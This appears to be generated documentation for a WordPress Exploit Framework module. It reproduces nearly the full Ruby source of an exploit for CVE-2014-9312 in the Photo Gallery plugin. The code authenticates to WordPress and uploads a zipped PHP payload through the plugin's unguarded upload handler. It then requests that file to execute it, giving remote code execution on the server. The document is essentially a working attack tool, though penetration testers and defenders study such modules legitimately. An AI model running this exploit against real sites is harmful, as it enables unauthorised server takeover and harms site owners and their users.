class Wpxf::Exploit::PhotoGalleryShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Net::HttpClient::new
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 9
def initialize
  super

  update_info(
    name: 'Photo Gallery Shell Upload',
    desc: 'Photo Gallery Plugin for WordPress contains a flaw that allows a '\
          'remote attacker to execute arbitrary PHP code. This flaw exists'\
          'because the photo-gallery\photo-gallery.php script allows access'\
          'to filemanager\UploadHandler.php. The post() method in '\
          'UploadHandler.php does not properly verify or sanitize '\
          'user-uploaded files.',
    author: [
      'Kacper Szurek', # Vulnerability disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '7769'],
      ['CVE', '2014-9312'],
      ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
    ],
    date: 'Nov 11 2014'
  )

  register_options([
    StringOption.new(
      name: 'username',
      desc: 'The WordPress username to authenticate with'
    ),
    StringOption.new(
      name: 'password',
      desc: 'The WordPress password to authenticate with'
    )
  ])
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 52
def check
  check_plugin_version_from_readme('photo-gallery', '1.2.6')
end
extract_name_from_res(res) click to toggle source
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 63
def extract_name_from_res(res)
  begin
    json = JSON.parse(res.body)
    if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
      return nil
    else
      return json['files'][0]['name'][0..-5]
    end
  rescue
  end

  nil
end
password() click to toggle source
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 48
def password
  normalized_option_value('password')
end
payload_body_builder(name) click to toggle source
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 56
def payload_body_builder(name)
  builder = Utility::BodyBuilder.new
  zipped_files =  { "#{name}.php" => payload.encoded }
  builder.add_zip_file('files', zipped_files, "#{name}.zip")
  builder
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 77
def run
  return false unless super

  cookie = authenticate_with_wordpress(username, password)
  return false unless cookie

  emit_info 'Preparing payload...'
  payload_name = Utility::Text.rand_alpha(10)
  builder = payload_body_builder(payload_name)
  upload_dir = "#{Utility::Text.rand_alpha(10)}/"

  emit_info 'Uploading payload...'
  res = nil
  builder.create do |body|
    res = execute_post_request(
      url: wordpress_url_admin_ajax,
      params: { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
      body: body,
      cookie: cookie
    )
  end

  if res.nil? || res.code != 200
    emit_error 'Failed to upload payload'
    emit_error "Server responded with code #{res.code}", true
    return false
  else
    emit_success 'Uploaded the payload', true
  end

  emit_info 'Parsing server response...'
  uploaded_name = extract_name_from_res(res)
  if uploaded_name.nil?
    emit_info "Server responded with: #{res.body}", true
    emit_error 'Unable to parse the server response'
    return false
  end

  php_file_name = "#{uploaded_name}.php"
  payload_url = normalize_uri(wordpress_url_admin, upload_dir, uploaded_name, php_file_name)
  emit_success 'Parsed response', true
  emit_success "Payload uploaded to #{payload_url}", true

  emit_info 'Executing the payload...'
  res = execute_get_request(url: payload_url)
  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  true
end
username() click to toggle source
# File lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb, line 44
def username
  normalized_option_value('username')
end